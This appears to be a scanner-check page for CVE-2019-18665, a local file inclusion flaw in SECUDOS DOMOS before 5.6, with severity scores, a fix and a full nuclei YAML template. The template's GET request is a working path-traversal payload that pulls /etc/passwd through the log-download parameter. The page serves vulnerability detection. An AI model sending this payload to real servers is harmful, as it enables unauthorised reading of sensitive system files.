DOMOS 5.5 - Local File Inclusion

highseverity

7.5CVSS score

15.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

SECUDOS DOMOS before 5.6 allows local file inclusion via the log module.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.

Fix

Apply the latest patch or update to a version that is not affected by this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-18665 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-18665

info:
  name: DOMOS 5.5 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    SECUDOS DOMOS before 5.6 allows local file inclusion via the log module.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest patch or update to a version that is not affected by this vulnerability.
  reference:
    - https://atomic111.github.io/article/secudos-domos-directory_traversal
    - https://vuldb.com/?id.144804
    - https://www.secudos.de/news-und-events/aktuelle-news/domos-release-5-6
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18665
    - https://www.cybersecurity-help.cz/vdb/SB2019110403
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18665
    cwe-id: CWE-22
    epss-score: 0.15789
    epss-percentile: 0.96899
    cpe: cpe:2.3:a:secudos:domos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: secudos
    product: domos
  tags: cve,cve2019,domos,lfi,secudos,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from